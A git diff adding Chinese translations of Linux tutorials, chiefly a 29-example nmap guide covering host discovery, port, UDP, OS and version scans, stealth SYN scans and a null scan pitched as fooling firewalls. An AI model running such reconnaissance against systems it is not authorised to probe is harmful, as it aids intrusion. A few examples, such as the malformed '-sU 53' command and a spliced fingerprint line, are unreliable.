+![](http://linoxide.com/wp-content/uploads/2014/01/ls_lh1.png) + +另外一个可以这么做的参数是**--si**。这个参数和-h参数类似,但是**-si以1000为单位,而-h以1024为单位**。 + + $ ls -si + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_si.png) + +#### 4. 排序文件大小 #### + +在我们可以显示文件大小之后,我们希望以文件大小排序。我们可以使用-S参数来这么做。这列表会从大到校排序。 + + $ ls -lhS + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_lhS.png) + +#### 5. 测量大小 #### + +ls可以通过使用**-block-size=SIZE**改单位大小。这里的SIZE是: + + K = Kilobyte + M = Megabyte + G = Gigabyte + T = Terabyte + P = Petabyte + E = Exabyte + Z = Zettabyte + Y = Yottabyte + +比如,我们希望使用MB作为单位大小。所以语法就会像这样: + + $ ls -l --block-size=M + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_block_size.png) + +#### 6. 显示隐藏文件 #### + +在Linux中,以"."(**点号**)开头的文件是隐藏文件。为了在ls命令中显示它,我们可以使用**-a**选项。 + + $ ls -a + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_a.png) + +#### 7. 只列出目录条目 #### + +如果我们希望只列出目录,我们可以使用**-d**选项。 + + $ ls -d */ + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_d.png) + +#### 8. 不打印所有者信息 #### + +要这么做,我们使用**-g**选项。 + + $ ls -g + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_lg.png) + +#### 9. 不打印组信息 #### + +-g隐藏了拥有者信息,**—G**会隐藏组信息。 + + + $ ls -lG + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_lG2.png) + +#### 10. 打印UID和GID #### + +如果你想以数字方式列出项的所有者和所有组(即UID和GID),我们可以带**-n**选项使用ls命令。这里是个例子。 + + $ ls -n + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_n.png) + +从上面的例子中,我们知道**用户pungki的UID**是100,**GID是1000**,而**root组的GID是0**。 + +#### 11. 不带颜色打印 #### + +一些Linux发行版已经对ls命令启用彩色。这会使ls以各种颜色打印列表。如果你不想要这样,你可以使用 **--color=never** 参数。 + + $ ls --color=never + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_color_never.png) + +#### 12. 打印每个文件的索引号 #### + +为了打印索引或者大家俗称的inode号,我们可以使用-i选项。索引号会显示在第一列。 + + $ ls -li + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_inode.png) + +#### 13. 增加 / (斜线) 标记目录 #### + +要这么做,使用**-p选项**。 + + $ ls -p + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_p.png) + +#### 14. 排序时反转顺序 #### + +你或许需要在列出条目时反转顺序。要这么做,你可以使用**-r**选项。 + + $ ls -r + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_r.png) + +#### 15. 递归列出子目录 #### + +带**-R**参数后,你可以列出包含它子目录的目录。 + + $ ls -R + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_Recursive.png) + +#### 16. 扩展名排序 #### + +你可以使用-X参数或者--sort=extension来通过扩展名来排序(译注:这样对于筛选不同类型的文件很有用)。 + + $ ls -lX + +**或** + + $ ls --sort=extension + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_x.png) + +#### 17. 通过修改时间列出 #### + +使用-t选项会按修改时间排序,新的文件在前。 + + $ ls -lt + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_lt.png) + +#### 18. 列出你的主目录 #### + +要列出你的主目录,你可以用"~"(**波浪号**)来代表它。这样你就不必输入完整的目录名。让我们假设家文件名为**/home/pungki**,那么**波浪号**就对/home/pungki有意义了。 + + $ ls ~ + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_tilde.png) + +#### 19. 列出父目录 #### + +无论你在那个目录,你可以列出父目录而不必输入完整路径。这是个例子。 + + $ ls ../ + +这回列出**1**层之上的目录内容。 + + $ ls ../../ + +这回列出**2**层之上的目录内容(译注:可不支持“...”来代表2层之上)。 + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_parent.png) + +#### 20. 打印ls命令版本 #### + +使用--version参数打印它。 + + $ ls --version + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_version.png) + +### 总结 ### + +这些是在日常操作中会使用到的参数。当然你总可以输入**man ls** 或者 **ls --help** 来查询ls的手册页 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-ls-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201402/29 Practical Examples of Nmap Commands for Linux System,Network Administrators.md b/published/201402/29 Practical Examples of Nmap Commands for Linux System,Network Administrators.md new file mode 100644 index 0000000000..e2464a03fb --- /dev/null +++ b/published/201402/29 Practical Examples of Nmap Commands for Linux System,Network Administrators.md @@ -0,0 +1,649 @@ +给Linux系统/网络管理员的nmap的29个实用例子 +================================================================================ + +**Nmap**亦称为**Network Mapper**(网络映射)是一个开源并且通用的用于Linux系统/网络管理员的工具。**nmap**用于**探查网络、执行安全扫描、网络核查**并且在远程机器上**找出开放端口**。它可以扫描在线的主机、操作系统、包过滤器和远程主机上的开放端口。 + +![Nmap 命令](http://www.tecmint.com/wp-content/uploads/2013/12/Nmap-Commands.png) + +*Nmap 命令和示例* + +我会分两个章节讲述**NMAP**的常见的使用方法,这篇是nmap系列的第一部分(译注:原文为I’ll be covering most of NMAP usage in two different parts and this is the first part of nmap serious,这里serious可能为笔误,应该为series)。在这个步骤里,我用两个没有防火墙的服务器来测试nmap命令的工作。 + +- 192.168.0.100 – server1.tecmint.com +- 192.168.0.101 – server2.tecmint.com + +### Nmap 命令使用 ### + + # nmap [Scan Type(s)] [Options] {target specification} + +### 如何在Linux上安装nmap ### + +如今大部分Linux发行版像**Red Hat, CentOS, Fedoro, Debian** 和 **Ubuntu**已经在它们默认的包管理仓库中包含了**nmap**,可以通过[Yum][1] 和 [APT][2]安装、管理和更新软件包。在这些发行版上安装**nmap**,可以使用下面的命令。 + + # yum install nmap [基于 Red Hat 的发行版] + $ sudo apt-get install nmap [基于 Debian 的发行版] + +安装了最新的nmap程序之后,你就可以跟着这篇文章中的示例指令来学习了。 + +### 1. 带主机名和IP地址扫描系统 ### + +**nmap**工具提供了不同的方法来扫描一个系统。在这个例子中,我使用主机名为**server2.tecmint.com**的机器执行扫描来找出所有开放端口,服务和系统上的MAC地址。 + +#### 使用主机名扫描 #### + + [root@server1 ~]# nmap server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:42 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.415 seconds + You have new mail in /var/spool/mail/root + +#### 使用IP地址扫描 #### + + [root@server1 ~]# nmap 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:04 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 958/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.465 seconds + You have new mail in /var/spool/mail/root + +### 2. 使用"-v"选项扫描 ### + +你可以看到带"-v"选项的命令给出了关于远程机器的更多信息。 + + [root@server1 ~]# nmap -v server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:43 EST + Initiating ARP Ping Scan against 192.168.0.101 [1 port] at 15:43 + The ARP Ping Scan took 0.01s to scan 1 total hosts. + Initiating SYN Stealth Scan against server2.tecmint.com (192.168.0.101) [1680 ports] at 15:43 + Discovered open port 22/tcp on 192.168.0.101 + Discovered open port 80/tcp on 192.168.0.101 + Discovered open port 8888/tcp on 192.168.0.101 + Discovered open port 111/tcp on 192.168.0.101 + Discovered open port 3306/tcp on 192.168.0.101 + Discovered open port 957/tcp on 192.168.0.101 + The SYN Stealth Scan took 0.30s to scan 1680 total ports. + Host server2.tecmint.com (192.168.0.101) appears to be up ... good. + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.485 seconds + Raw packets sent: 1681 (73.962KB) | Rcvd: 1681 (77.322KB) + +#### 扫描多台主机 #### + +你可以简单地通过在namap后写上它们的IP地址或者主机名来扫描多台主机。 + + [root@server1 ~]# nmap 192.168.0.101 192.168.0.102 192.168.0.103 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:06 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + Nmap finished: 3 IP addresses (1 host up) scanned in 0.580 seconds + +### 4. 扫描整个子网 ### + +你可以通过**通配符**来使nmap扫描整个子网或者IP段。 + + [root@server1 ~]# nmap 192.168.0.* + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:11 EST + Interesting ports on server1.tecmint.com (192.168.0.100): + Not shown: 1677 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 111/tcp open rpcbind + 851/tcp open unknown + + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.550 seconds + You have new mail in /var/spool/mail/root + +从上面的输出你可以看到nmap扫描了整个子网,并给出了**网络**中**在线**主机的信息。 + +### 5. 使用IP地址的最后一段扫描多台主机 ### + +你可以简单地通过指定IP地址的最后8位执行扫描多台主机。比如说,这里我在IP地址为192.168.0.101, 192.168.0.102 and 192.168.0.103的机器上执行了扫描。 + + [root@server1 ~]# nmap 192.168.0.101,102,103 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 3 IP addresses (1 host up) scanned in 0.552 seconds + You have new mail in /var/spool/mail/root + +### 6. 从文件中扫描主机列表 ### + +如果你有更多的主机要扫描,并且所有的主机都写在一个文件中,你可以直接让namp读取它并执行扫描。让我们看看要怎么做。 + +创建一个名为“**nmaptest.txt**”的文本文件,并定义所有你想要扫描的IP地址或者服务器的主机名。 + + [root@server1 ~]# cat > nmaptest.txt + + localhost + server2.tecmint.com + 192.168.0.101 + +接着,带“**iL**”参数运行nmap命令来扫描文件中所有列出的IP地址。 + + [root@server1 ~]# nmap -iL nmaptest.txt + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:58 EST + Interesting ports on localhost.localdomain (127.0.0.1): + Not shown: 1675 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 25/tcp open smtp + 111/tcp open rpcbind + 631/tcp open ipp + 857/tcp open unknown + + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 958/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 958/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 3 IP addresses (3 hosts up) scanned in 2.047 seconds + +### 7. 扫描一个IP范围 ### + +在使用nmap扫描时,你可以指定一个IP范围。 + + [root@server1 ~]# nmap 192.168.0.101-110 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 10 IP addresses (1 host up) scanned in 0.542 seconds + +### 8. 扫描网络时排除部分主机 ### + +你可以在执行全网扫描的时候排除一些主机,或者在使用通配符扫描时使用“**–exclude**”选项。 + + [root@server1 ~]# nmap 192.168.0.* --exclude 192.168.0.100 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:16 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 255 IP addresses (1 host up) scanned in 5.313 seconds + You have new mail in /var/spool/mail/root + +### 9. 扫描系统信息 ### + +(译注:原文这里提到了traceroute,实在并无此内容,删除之) + +使用nmap,你可以检测到运行在远程主机上的操作系统和版本。要启用OS及其版本检测,我们可以使用带 “**-A**” 选项使用nmap。 + + [root@server1 ~]# nmap -A 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:25 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) + 80/tcp open http Apache httpd 2.2.3 ((CentOS)) + 111/tcp open rpcbind 2 (rpc #100000) + 957/tcp open status 1 (rpc #100024) + 3306/tcp open mysql MySQL (unauthorized) + 8888/tcp open http lighttpd 1.4.32 + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi). + TCP/IP fingerprint: + SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52814B66%O=22%C=1%M=080027) + TSeq(Class=TR%IPID=Z%TS=1000HZ) + T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW) + T2(Resp=N) + T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW) + T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) + T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) + T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) + T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) + PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) + + Uptime 0.169 days (since Mon Nov 11 12:22:15 2013) + + Nmap finished: 1 IP address (1 host up) scanned in 22.271 seconds + You have new mail in /var/spool/mail/root + +在上面的输出中,你可以看到运行在远程主机上操作系统的TCP/IP指纹和更详细的运行在远程主机上的特定端口和服务。 + +### 10. 使用nmap启用系统检测 ### + +使用选项“-O”或“-osscan-guess”同样可以发现OS信息。 + + [root@server1 ~]# nmap -O server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:40 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi). + TCP/IP fingerprint: + SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52815CF4%O=22%C=1%M=080027) + TSeq(Class=TR%IPID=Z%TS=1000HZ) + T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW) + T2(Resp=N) + T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW) + T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=Option -O and -osscan-guess also helps to discover OSR%Ops=) + T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) + T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) + T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) + PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) + + Uptime 0.221 days (since Mon Nov 11 12:22:16 2013) + + Nmap finished: 1 IP address (1 host up) scanned in 11.064 seconds + You have new mail in /var/spool/mail/root + +### 11. 扫描主机来检测防火墙 ### + +下面的命令会在远程主机上执行扫描来检测主机上是否使用了任何包过滤器或者防火墙。 + + [root@server1 ~]# nmap -sA 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:27 EST + All 1680 scanned ports on server2.tecmint.com (192.168.0.101) are UNfiltered + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.382 seconds + You have new mail in /var/spool/mail/root + +### 12. 扫描主机以检查其受到防火墙保护 ### + +扫描检测一个主机是否受到任何包过滤器软件或者防火墙保护。 + + [root@server1 ~]# nmap -PN 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:30 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.399 seconds + +### 13. 找出网络中在线主机 ### + +在“**-sP**”选项的bang帮助下,我们可以简单地检测网络中的主机是否在线,带这个选项后nmap会跳过端口检测和其他检测。 + + [root@server1 ~]# nmap -sP 192.168.0.* + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:01 EST + Host server1.tecmint.com (192.168.0.100) appears to be up. + Host server2.tecmint.com (192.168.0.101) appears to be up. + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.109 seconds + +### 14. 执行快速扫描 ### + +你可以带“**-F**”选项仅扫描所有列在nmap-services文件中的端口。 + + [root@server1 ~]# nmap -F 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:47 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1234 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.322 seconds + +### 15. 找出nmap版本 ### + +你可以使用“**-V**”选项找出运行在你机器上的nmap版本。 + + [root@server1 ~]# nmap -V + + Nmap version 4.11 ( http://www.insecure.org/nmap/ ) + You have new mail in /var/spool/mail/root + +### 16. 连续扫描端口 ### + +使用“**-r**”选项而不随机排列端口的扫描顺序。 + + [root@server1 ~]# nmap -r 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:52 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.363 seconds + +### 17. 显示主机接口及路由 ### + +你可以使用nmap的“**–iflist**”选项来列出本机的主机接口和路由信息。 + + [root@server1 ~]# nmap --iflist + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:07 EST + ************************INTERFACES************************ + DEV (SHORT) IP/MASK TYPE UP MAC + lo (lo) 127.0.0.1/8 loopback up + eth0 (eth0) 192.168.0.100/24 ethernet up 08:00:27:11:C7:89 + + **************************ROUTES************************** + DST/MASK DEV GATEWAY + 192.168.0.0/0 eth0 + 169.254.0.0/0 eth0 + +在上面的输出中,你可以看到上述清单列出了你系统中的已经启用的接口及它们相应的路由。(译注:这样你就知道可以通过这些接口扫描哪些网络了) + +### 18. 扫描特定端口 ### + +nmap使用不同的选项来发现远程机器上的端口。你可以用“**-p**”选项指定你想扫描的TCP端口。默认上,nmap只会扫描**TCP**端口。 + + [root@server1 ~]# nmap -p 80 server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:12 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 80/tcp open http + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) sca + +### 19. 扫描TCP端口 ### + +当然,你可以指定nmap扫描的端口类型(TCP或UDP)和端口号。 + + [root@server1 ~]# nmap -p T:8888,80 server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 80/tcp open http + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds + +### 20. 扫描UDP端口 ### + + [root@server1 ~]# nmap -sU 53 server2.tecmint.com + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 53/udp open http + 8888/udp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds + +### 21. 扫描多个端口 ### + +你可以使用“**-p**”选项来指定多个要扫描的端口。 + + [root@server1 ~]# nmap -p 80,443 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:56 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 80/tcp open http + 443/tcp closed https + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.190 seconds + +### 22. 扫描网络的端口范围 ### + +你也可以使用表达式指定扫描端口的范围。 + + [root@server1 ~]# nmap -p 80-160 192.168.0.101 + +### 23. 找出主机服务版本号 ### + +我们可以使用“**-sV**”选项找出远程主机上运行的服务及其版本号。 + + [root@server1 ~]# nmap -sV 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:48 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) + 80/tcp open http Apache httpd 2.2.3 ((CentOS)) + 111/tcp open rpcbind 2 (rpc #100000) + 957/tcp open status 1 (rpc #100024) + 3306/tcp open mysql MySQL (unauthorized) + 8888/tcp open http lighttpd 1.4.32 + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 12.624 seconds + +#### 24. 使用 TCP ACK (PA) 和 TCP Syn (PS) 扫描远程主机 #### + +有时包过滤防火墙阻止了标准**ICMP**ping请求,在这个情况下,我们可以使用**TCP ACK**和**TCP Syn**方法来扫描远程主机。 + + [root@server1 ~]# nmap -PS 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:51 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds + You have new mail in /var/spool/mail/root + +### 25. 用TCP ACK扫描远程主机的特定端口### + + [root@server1 ~]# nmap -PA -p 22,80 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:02 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.166 seconds + You have new mail in /var/spool/mail/root + +### 26. 用TCP SYN扫描远程主机的特定端口 ### + + [root@server1 ~]# nmap -PS -p 22,80 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:08 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.165 seconds + You have new mail in /var/spool/mail/root + +### 27. 执行隐秘扫描 ### + + [root@server1 ~]# nmap -sS 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:10 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.383 seconds + You have new mail in /var/spool/mail/root + +### 28. 用TCP SYN扫描最常用的端口 ### + + [root@server1 ~]# nmap -sT 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:12 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 957/tcp open unknown + 3306/tcp open mysql + 8888/tcp open sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 0.406 seconds + You have new mail in /var/spool/mail/root + +### 29. 执行tcp空扫描来愚弄防火墙 ### + + [root@server1 ~]# nmap -sN 192.168.0.101 + + Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 19:01 EST + Interesting ports on server2.tecmint.com (192.168.0.101): + Not shown: 1674 closed ports + PORT STATE SERVICE + 22/tcp open|filtered ssh + 80/tcp open|filtered http + 111/tcp open|filtered rpcbind + 957/tcp open|filtered unknown + 3306/tcp open|filtered mysql + 8888/tcp open|filtered sun-answerbook + MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems) + + Nmap finished: 1 IP address (1 host up) scanned in 1.584 seconds + You have new mail in /var/spool/mail/root + +这些就是目前**NMAP** 的用法,我会写出更有创造性的**NMAP**的第二部分(译注:原文为 I’ll be coming up more creative options of **NMAP** in our second part of this serious,这里serious可能为笔误,应该为series)。接着,不要走开也别忘了分享你们有价值的评论。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/nmap-command-examples/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/ +[2]:http://www.tecmint.com/useful-basic-commands-of-apt-get-and-apt-cache-for-package-management/ \ No newline at end of file diff --git a/published/201402/6 Unusual Yet Great Linux Operating Systems For Your Netbook!.md b/published/201402/6 Unusual Yet Great Linux Operating Systems For Your Netbook!.md new file mode 100644 index 0000000000..faa6aadd75 --- /dev/null +++ b/published/201402/6 Unusual Yet Great Linux Operating Systems For Your Netbook!.md @@ -0,0 +1,32 @@ +使用6款卓尔不群的Linux操作系统为你的上网本添活力 +================================================================================ + +> 